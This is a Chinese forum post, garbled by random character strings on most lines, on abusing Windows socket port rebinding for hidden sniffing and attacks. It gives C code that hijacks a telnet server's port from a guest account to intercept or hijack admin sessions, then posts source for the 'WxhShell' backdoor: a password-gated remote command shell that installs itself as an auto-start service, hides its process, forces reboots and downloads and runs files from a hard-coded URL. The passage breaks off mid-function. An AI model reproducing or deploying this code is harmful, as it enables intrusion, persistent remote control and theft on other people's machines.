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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zs7K :OlkA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J;G+6C$:  
U*,5t81  
  saddr.sin_family = AF_INET; p5Y"W(5_  
/(XtNtO*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e >MC 3D`5  
gwT"o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gP)g_K(e  
q*-q5FE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }}K4 4<]u  
dRt]9gIsx  
  这意味着什么?意味着可以进行如下的攻击: }cMb0`oA  
rr2|xL?+u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /1g_Uv;  
,LU/xI0O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8g&uCv/Uk  
NCd_h<}|6F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mVW:]|!s  
%5a>@K]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K^w(WE;db  
YW0UIO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :X/j%m*  
^qYJx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !SEg4z  
Svy bP&i|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BEN=/ v  
c`AtK s)u  
  #include WOR~tS  
  #include V% psaT=)P  
  #include *N<~"D  
  #include    hb zU?_}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;#cb%e3  
  int main() ZB<goEg  
  { A2g +m  
  WORD wVersionRequested; KK}^E_v  
  DWORD ret; x.~Z9j  
  WSADATA wsaData; wjQu3 ,Cj  
  BOOL val; hH|3s-o  
  SOCKADDR_IN saddr; $_% a=0  
  SOCKADDR_IN scaddr; i\2~yXw\  
  int err; Z6A*9m  
  SOCKET s; "\)j=MI8u+  
  SOCKET sc; &8z`]mB{t  
  int caddsize; ytK h[Uo  
  HANDLE mt; U"af3c^2  
  DWORD tid;   9JpPas$]  
  wVersionRequested = MAKEWORD( 2, 2 ); iLNKC'  
  err = WSAStartup( wVersionRequested, &wsaData ); JZ]4?_l  
  if ( err != 0 ) { OT&J OTk\  
  printf("error!WSAStartup failed!\n"); W{Ine> a'  
  return -1; (%YFcE)SRS  
  } M)#aX|%Mh  
  saddr.sin_family = AF_INET; -]\UFR  
   v&D^N9hy9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tc.R(F96  
5ZSV)$t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u-$(TyDEl|  
  saddr.sin_port = htons(23); vzd1:'^t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $&I##od  
  { X@2[!%nm  
  printf("error!socket failed!\n"); I_oJx  
  return -1; (Xi?Y/  
  } B{PI&a9~s%  
  val = TRUE; M6[&od  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &2d^=fih  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nK)U.SZ  
  { `rN,*kcP  
  printf("error!setsockopt failed!\n"); JUt 7  
  return -1; |^[]Oy=  
  } 2I* 7?`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yn)K1f^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O=?WI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z}&?^YU*)`  
L#1Y R}m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wKIQK!B)mF  
  { s=h  
  ret=GetLastError(); '%vb&a!.6  
  printf("error!bind failed!\n"); 5IE2&V  
  return -1; bx_`S#*N  
  } NiQ`,Q$B  
  listen(s,2); waz)jEk  
  while(1) Zui2O-L?V  
  { }_vE lBh6$  
  caddsize = sizeof(scaddr); BxS\ "W  
  //接受连接请求 vd6Y'Zk|F6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0GK<l  
  if(sc!=INVALID_SOCKET) yZj:Kp+7  
  { =* oFs|v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zxTcjC)y  
  if(mt==NULL) ^2rNty,nH  
  { s`B]+  
  printf("Thread Creat Failed!\n"); meA=lg?  
  break; ,]+P#eXgE  
  } cah1'Y  
  } BT.;l I  
  CloseHandle(mt);  \09eH[  
  } _~ZNX+4  
  closesocket(s); rXPq'k'h#-  
  WSACleanup(); w7 @fiH{  
  return 0; 3(0k!o0 "  
  }   ze@NqCF  
  DWORD WINAPI ClientThread(LPVOID lpParam) (A|Gb2X  
  { @KfFt R-;  
  SOCKET ss = (SOCKET)lpParam; D~E1hr&Vd>  
  SOCKET sc; a|Io)Qhr  
  unsigned char buf[4096]; eK PxSN Z  
  SOCKADDR_IN saddr; h,o/(GNnW  
  long num; j6]+ fo&3  
  DWORD val; EnnT)qos  
  DWORD ret; YBqu7&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uLX5khQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T[]2]K[&B  
  saddr.sin_family = AF_INET; e33j&:O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >qk[/\^O  
  saddr.sin_port = htons(23); [@fw9@_'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,:Qy%k}f  
  { Fa:fBs{  
  printf("error!socket failed!\n"); h U\)CM  
  return -1; {>PN}fk2QP  
  } 6A&e2K>A  
  val = 100; KJ M :-z@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ufyqfID  
  { eM Ym@~4  
  ret = GetLastError(); q1}HsTnBH  
  return -1; g`I`q3EF)  
  }  yV[9 (  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "Ah (EZAR  
  { 7N9~nEU  
  ret = GetLastError(); #-*7<wN   
  return -1; sLrSi  
  } o!!";q%DX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *5?a% p  
  { t\Pn67t  
  printf("error!socket connect failed!\n"); nm5zX,  
  closesocket(sc); VOr*YB&  
  closesocket(ss); |U)m'W-(q  
  return -1; G347&F)  
  } = }0M^F  
  while(1) {5w'.Z]0v  
  { HxCq6Y_m<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G8b/eWtP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A[)od   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /J!C2  
  num = recv(ss,buf,4096,0); IA_>x9 (~  
  if(num>0) 6$c,#%Jt*  
  send(sc,buf,num,0); V; 0{o  
  else if(num==0) aV"K%#N  
  break; E]$YM5  
  num = recv(sc,buf,4096,0); Jf6u E?.  
  if(num>0) E`s9SE  
  send(ss,buf,num,0); 3jR,lEJyj  
  else if(num==0) GPlAQk  
  break; :?W {vV  
  } OjO$.ecT  
  closesocket(ss); hd{Vz{;W  
  closesocket(sc); ?|!167/O  
  return 0 ; ] AkHNgW  
  } ]4~- z3=y  
9QE|p  
#vh1QV!Ho  
========================================================== 2c:H0O 0o  
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下边附上一个代码,,WXhSHELL .I\)1kjX  
DE"KbA0}  
========================================================== {T|sU\|Q  
E/ %S0  
#include "stdafx.h" FD>j\  
\;AW/& Ea  
#include <stdio.h> B198_T!  
#include <string.h> +bK[3KG4F5  
#include <windows.h> f5D.wSY  
#include <winsock2.h> [)UF@Sq4+Q  
#include <winsvc.h> xHEkmL`)4  
#include <urlmon.h> Ch-56   
9Br2}!Ny  
#pragma comment (lib, "Ws2_32.lib") Cw;&{jY  
#pragma comment (lib, "urlmon.lib") 8qwc]f$.w  
L-ans2?  
#define MAX_USER   100 // 最大客户端连接数 6ExUNp @U>  
#define BUF_SOCK   200 // sock buffer a,X=!oJ  
#define KEY_BUFF   255 // 输入 buffer lOp/kGmn+  
Z-[nHSf  
#define REBOOT     0   // 重启 Q)N$h07R  
#define SHUTDOWN   1   // 关机 LL3RC6;e  
G#n99X@-  
#define DEF_PORT   5000 // 监听端口 1o)Vzv  
OdX-.FFl  
#define REG_LEN     16   // 注册表键长度 G"!YV#"~  
#define SVC_LEN     80   // NT服务名长度 SPKen}g  
VU,\OOp  
// 从dll定义API =uKGh`^[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ),`MAevp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o?A/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7O5`&Z'-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m(JFlO  
^9T6Ix{=  
// wxhshell配置信息 Yh/-6wg  
struct WSCFG {  |u 8hxa  
  int ws_port;         // 监听端口 y$@d%U*rW^  
  char ws_passstr[REG_LEN]; // 口令 y@g{:/cmO  
  int ws_autoins;       // 安装标记, 1=yes 0=no g;en_~g3j  
  char ws_regname[REG_LEN]; // 注册表键名 K]dqK'  
  char ws_svcname[REG_LEN]; // 服务名 PZ69aZ*Gs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t!^FWr&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3}O.B r|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g3{)AX[Uy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e #l/jFJU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rN? L8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bu"Jb4_a>  
N]cGJU>$  
}; =DTn9}u  
gOw|s1`2,  
// default Wxhshell configuration ~D@pk>I  
struct WSCFG wscfg={DEF_PORT, }{/4sll  
    "xuhuanlingzhe", h`&@>uEiq  
    1, N^|r.J  
    "Wxhshell", b!hxx Z  
    "Wxhshell", 6$wS7Cu  
            "WxhShell Service", ko!38BH`/  
    "Wrsky Windows CmdShell Service", n`f},.NM|  
    "Please Input Your Password: ", s%]-Sw9  
  1, z.23i^Q  
  "http://www.wrsky.com/wxhshell.exe", xXO& -v{  
  "Wxhshell.exe" 8 g'9( )&  
    }; $I_ 04k#t  
[ d<|Cde  
// 消息定义模块 HC w$v#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >j?5MIm03  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E*Vx^k$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YlOYgr^  
char *msg_ws_ext="\n\rExit."; 4@#1G*OO  
char *msg_ws_end="\n\rQuit."; sw*k(i  
char *msg_ws_boot="\n\rReboot..."; a AYO(;3  
char *msg_ws_poff="\n\rShutdown..."; RhyI\(Z2q  
char *msg_ws_down="\n\rSave to "; qcke8Q  
OB3AZH$  
char *msg_ws_err="\n\rErr!"; ><OdHRh@#  
char *msg_ws_ok="\n\rOK!"; z2t;!]"'l  
lj%8(Xu  
char ExeFile[MAX_PATH]; `(aU_r=  
int nUser = 0; W"Dj+/uS  
HANDLE handles[MAX_USER]; eG # (9  
int OsIsNt; M "p6xp/  
sAk~`(:4!  
SERVICE_STATUS       serviceStatus; S|;a=K&hS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XRs/gUT  
Ed #%F-1sX  
// 函数声明 O89<IXk  
int Install(void); P>euUVMPz4  
int Uninstall(void); 9In&vF7$  
int DownloadFile(char *sURL, SOCKET wsh); .^#{rk  
int Boot(int flag); [.<nt:  
void HideProc(void); $Z 10Zf=  
int GetOsVer(void); .&7=ZY>E  
int Wxhshell(SOCKET wsl); KtY~Y  
void TalkWithClient(void *cs); _wM[U`H}s  
int CmdShell(SOCKET sock); h0n0Dc{4  
int StartFromService(void); b7v] g]*  
int StartWxhshell(LPSTR lpCmdLine); wd*T"V3  
5:|5NX[.b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Tngtt D  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  9 N=KU  
PGT!HdX#{  
// 数据结构和表定义 c%pW'UE&  
SERVICE_TABLE_ENTRY DispatchTable[] = $qQ6u!  
{ UkNC|#l)  
{wscfg.ws_svcname, NTServiceMain}, H#U{i  
{NULL, NULL} aC3\Hs  
}; avO+1<`4B  
~\<ZWU<BE  
// 自我安装 ^ .kas7 <  
int Install(void) PyYKeo=  
{ !::k\}DS  
  char svExeFile[MAX_PATH]; pY=?r{@  
  HKEY key; NL&g/4A[a  
  strcpy(svExeFile,ExeFile); &%u,b~cL?  
|BH, H  
// 如果是win9x系统,修改注册表设为自启动 8f^URN<x  
if(!OsIsNt) { Kox~k?JK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yF0,}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zpb3>0<R  
  RegCloseKey(key); m)_1->K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2l5@gDk5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q*{"6"4(  
  RegCloseKey(key); UMhM8m!=o  
  return 0; w?M*n<) O  
    } ?2EzNNcS  
  } GU&XK7L  
} I4|p;\`fK  
else { cIM5;"gLP  
vp mSzh  
// 如果是NT以上系统,安装为系统服务 .v1rrH?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h:bs/q+-  
if (schSCManager!=0) MW*}+ PCY  
{ m}uF&|5  
  SC_HANDLE schService = CreateService "6KOql3  
  ( \ vJ*3H6  
  schSCManager, G#@<bg3  
  wscfg.ws_svcname, g1zqh,  
  wscfg.ws_svcdisp, n+uq|sYVa  
  SERVICE_ALL_ACCESS, 4zf#zJw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KAsS= `  
  SERVICE_AUTO_START, ;prp6(c  
  SERVICE_ERROR_NORMAL, bjT0Fi0-  
  svExeFile, (/*-M]>  
  NULL, gu:..'V  
  NULL, z%g<&Cq  
  NULL, Jb tbW &EH  
  NULL, \17)=W  
  NULL $^ >n@Q@&L  
  ); pu>LC6m3a  
  if (schService!=0) =u;q98r  
  { i;dr(c/ft  
  CloseServiceHandle(schService); in+`zfUJ9  
  CloseServiceHandle(schSCManager); {?L}qV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YYM  
  strcat(svExeFile,wscfg.ws_svcname); (U.&[B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O0$ijJa|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k2+Z7#2n  
  RegCloseKey(key); }<Me%`x"  
  return 0; m",bfZ  
    } ?5GjH~  
  } dO8Z {wfs  
  CloseServiceHandle(schSCManager); 6 w ]]KA  
} 15s?QSKj  
} 1gm{.*G  
V&}Z# 9Dx  
return 1; X@D3  
}  E;|\?>  
5 + Jy  
// 自我卸载 9a4RW}S<  
int Uninstall(void) ;zJ_apZ:{  
{ [R:O'AP}@}  
  HKEY key; ix/uV)]k`  
ftH 0aI  
if(!OsIsNt) { *l9Y]hinq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d*AV(g#B  
  RegDeleteValue(key,wscfg.ws_regname); {MEU|9@ Y  
  RegCloseKey(key); 9,>M/_8>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &a(w0<  
  RegDeleteValue(key,wscfg.ws_regname); s3knh&'zb  
  RegCloseKey(key); ~g,QwaA[  
  return 0; 4{Ak|  
  } 4C[gW  
} 0ib 6}L%  
} "l@~WE  
else { G^OSXf5  
F3f>pK5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D"WkD j"M  
if (schSCManager!=0) tw(2V$J  
{ VuR BJ2D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d+w<y~\ q  
  if (schService!=0) Q:LuRE!t  
  { @Uu\x~3y  
  if(DeleteService(schService)!=0) { />oU}m"k  
  CloseServiceHandle(schService); g[n8N{s  
  CloseServiceHandle(schSCManager); ?=G H{ %E  
  return 0; m6 gr!aT  
  } 0CR;t`M@  
  CloseServiceHandle(schService); #}Cwn$  
  } GhT7:_r~  
  CloseServiceHandle(schSCManager); 0k>&MkM\^  
} zhe5i;M  
} $5o<Mj  
e{O5y8,  
return 1; ,jWd?-NH  
} 5 6R,+sN  
~_&.A*Jh  
// 从指定url下载文件 -$q/7,os  
int DownloadFile(char *sURL, SOCKET wsh) D^~g q`/)  
{ >tzXbmFp;  
  HRESULT hr; _7<U[63  
char seps[]= "/"; 2uTa}{/%  
char *token; ww2Qa-K  
char *file; bi[l,  
char myURL[MAX_PATH]; q  ha1b$  
char myFILE[MAX_PATH]; K_aN7?#.v`  
._3NqE;  
strcpy(myURL,sURL); .R'i=D`Pz  
  token=strtok(myURL,seps); i=D,T[|>a  
  while(token!=NULL) ^&.?kJM  
  { LA+MX 0*  
    file=token; gK(4<PO'  
  token=strtok(NULL,seps); Uu+C<j&-  
  } M&FuXG%  
f0s &9H  
GetCurrentDirectory(MAX_PATH,myFILE); EHHxCq?  
strcat(myFILE, "\\"); H^g<`XEgw  
strcat(myFILE, file); C] w< &o  
  send(wsh,myFILE,strlen(myFILE),0); 6~S0t1/t?  
send(wsh,"...",3,0); ihWz/qx&q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  R'/wOE2  
  if(hr==S_OK) )8SP$  
return 0; {+:XVT_+  
else &>{>k<z  
return 1; A]9JbNV  
c5R{Sl  
} ,LZ:y1z'V-  
->8q, W2A  
// 系统电源模块 mmL~`i/  
int Boot(int flag) obq}#  
{ *F*X_O  
  HANDLE hToken; t] wM_]+  
  TOKEN_PRIVILEGES tkp; @45H8|:k  
Ji[g@#  
  if(OsIsNt) { g-FZel   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ak Tw?v'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H\mVK!](D  
    tkp.PrivilegeCount = 1; %#9~V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yk Pt*?,P/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dO,05?q|  
if(flag==REBOOT) { 63S1ed [  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RHVv}N0  
  return 0; m!60.  
} F*}Q^%  
else { |sa7Y_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @3c#\jx  
  return 0; kVnyX@  
} b]BA,D 4  
  } 7V (7JV<>  
  else { =bWq 3aP)P  
if(flag==REBOOT) { _kN%6~+U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )c/y07er  
  return 0; )`mF.87b&h  
} dY<#a,eS  
else { ; ZV^e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5R`6zhf  
  return 0; `YNC_r#tG  
} ;/ KF3 %  
} gc3 U/ jM  
OeGuq.> w  
return 1; PV6 *-[  
} vw] D{OBv*  
tQ JH'YV  
// win9x进程隐藏模块 [V, ;X  
void HideProc(void) :s '"u]  
{ (B,t 1+%  
*u'`XRJU/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wmxw!   
  if ( hKernel != NULL ) $S8bp3)  
  { OIty ]c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L"7` \4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a=.db&;vY  
    FreeLibrary(hKernel); l0\>zWLZZ9  
  } I%>]!X  
?{,)XFck  
return; |~LjH|*M  
} */dh_P<Yj  
n UCk0:{  
// 获取操作系统版本 `OReSg 2  
int GetOsVer(void) G>S1Ld'MV  
{ efkie}  
  OSVERSIONINFO winfo; ku9F N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7TPLVa=hO  
  GetVersionEx(&winfo); Z?v6pjZ?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LY!3u0PnlT  
  return 1; MQH8Q$5D  
  else k,iV$,[TF  
  return 0; .Xz"NyW  
} n[:AV  
7K]U |K#  
// 客户端句柄模块 r]EZ)qp^@  
int Wxhshell(SOCKET wsl) T{{AZV"pB  
{ 5YG@[ic  
  SOCKET wsh; .y_bV=  
  struct sockaddr_in client; %3#I:>si  
  DWORD myID; 27 YLg c  
FlA\Ad;v  
  while(nUser<MAX_USER) ]#-/i2-K  
{ ^_S-s\DW  
  int nSize=sizeof(client); V?V)&y] 4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HD8"=7zJk  
  if(wsh==INVALID_SOCKET) return 1; ,-I F++q  
Z=Y_;dS9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a0/n13c?G  
if(handles[nUser]==0) y7IbE   
  closesocket(wsh); ))69a  
else tqwk?[y}+l  
  nUser++; {L-aXe{  
  } vH?+JN"A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k5%0wHpk=  
+ yP[(b/  
  return 0; [cL U*:  
} cM<hG:4%wX  
wI]R+.  
// 关闭 socket 6[3Ioh  
void CloseIt(SOCKET wsh) 7~l  
{ #9hXZr/8  
closesocket(wsh); E ^SM`  
nUser--; xX&>5 "  
ExitThread(0); ,ORG"]_F  
} zr;Y1Xt4  
rb}wv16?  
// 客户端请求句柄 23\j1?  
void TalkWithClient(void *cs) 77&^$JpM  
{ NtA|#"^  
o )nT   
  SOCKET wsh=(SOCKET)cs; ZaUcP6[h  
  char pwd[SVC_LEN]; ?m9UhLeaS=  
  char cmd[KEY_BUFF]; Va/@#=,q]  
char chr[1]; K,C $J I  
int i,j; M\?uDC9  
b6WC @j`*T  
  while (nUser < MAX_USER) { 6|9g4@Hy  
3e!Yu.q:  
if(wscfg.ws_passstr) { &DbGyV8d"|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0q>NE <L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $kD`$L@U  
  //ZeroMemory(pwd,KEY_BUFF); 4z0R\tjT  
      i=0; w1"gl0ga$  
  while(i<SVC_LEN) { M8",t{7  
\BbOljM=  
  // 设置超时 bUAR<R'E  
  fd_set FdRead; ?;r8SowZ7  
  struct timeval TimeOut; X.T\=dm%v  
  FD_ZERO(&FdRead); =6Kv`  
  FD_SET(wsh,&FdRead); =S[FJaIu7  
  TimeOut.tv_sec=8; 6Er0o{iI  
  TimeOut.tv_usec=0; e2-70UvW^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +Sdx8 Z5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vA "`0  
#EQx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k}f<'g<H  
  pwd=chr[0]; VNxpOoV=S  
  if(chr[0]==0xd || chr[0]==0xa) { A"bSNHCKF  
  pwd=0; B=Zukg1G  
  break; hV>4D&<  
  } @cS1w'=  
  i++; sx-Hw4.a"  
    } XEUa  
z"s%#/#  
  // 如果是非法用户,关闭 socket 7S dV%"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SP D207  
} 9HJ'p:{)  
&8X .!r`f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kuTq8p2E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oj4u!SY\j  
Dc&9emKI  
while(1) { _r<zSH%  
_,Rsl$Tk'  
  ZeroMemory(cmd,KEY_BUFF); -e`oW.+  
IB#iJ# ,  
      // 自动支持客户端 telnet标准   1|l)gfcP  
  j=0; VT5cxB<  
  while(j<KEY_BUFF) { <>T&ab@dE(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =;k+g?.@I  
  cmd[j]=chr[0]; ni"$[8U  
  if(chr[0]==0xa || chr[0]==0xd) { tkdBlG]!  
  cmd[j]=0; k binf  
  break; :p\(y  
  } /+x#V!zM  
  j++; wzDk{4U  
    } C`yvBt40r  
#4P3xa  
  // 下载文件 j*eUF-J1  
  if(strstr(cmd,"http://")) { ElEv(>G*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #LN5&i;s  
  if(DownloadFile(cmd,wsh)) !sfXq"F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~|r'2V*  
  else  O ':0V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $TD~k;   
  } ~$&:NB1~q  
  else { $KwI}>E4  
w PG1P'w;  
    switch(cmd[0]) { I9[1U   
  kb"_6,[Ms  
  // 帮助 xb+RRTgj  
  case '?': { qLQ <1>u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kvW|=  
    break; X6LhM  
  } q3AJwELXw  
  // 安装 n*vTVt)dJ  
  case 'i': { H{\.g=01  
    if(Install()) E(QZ!'%K+m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PJxak3  
    else )h>\05|T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z>(r9 R3{  
    break; z.2r@Psk  
    } -y&v9OC2-  
  // 卸载 E ;BPN  
  case 'r': { sJ))<,e5I  
    if(Uninstall()) _KB{J7bs<a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AfbB~LlBq  
    else }J ei$0x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mQd4#LJ_  
    break; _pz,okO[V  
    } K0EY<Ltq  
  // 显示 wxhshell 所在路径 ]6$,IKE7  
  case 'p': { h`wMi}q'D  
    char svExeFile[MAX_PATH]; 54q4CagFq  
    strcpy(svExeFile,"\n\r"); H&w:`JYDL3  
      strcat(svExeFile,ExeFile); w(76H^e  
        send(wsh,svExeFile,strlen(svExeFile),0); ID67?:%r  
    break; K3vseor  
    } v2 29H<  
  // 重启 _ztZ> '  
  case 'b': { ,op]-CY 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g>2aIun_Q  
    if(Boot(REBOOT)) di6B!YQP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (C8 U   
    else { :a_BD  
    closesocket(wsh); G'ij?^?  
    ExitThread(0); nNt*} k  
    } =N YgGEFq.  
    break; :J^qjAV  
    }  f~w>v  
  // 关机 bA}AD`5  
  case 'd': { ~I{EE[F>qL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  !M  
    if(Boot(SHUTDOWN)) QBy{| sQ`  
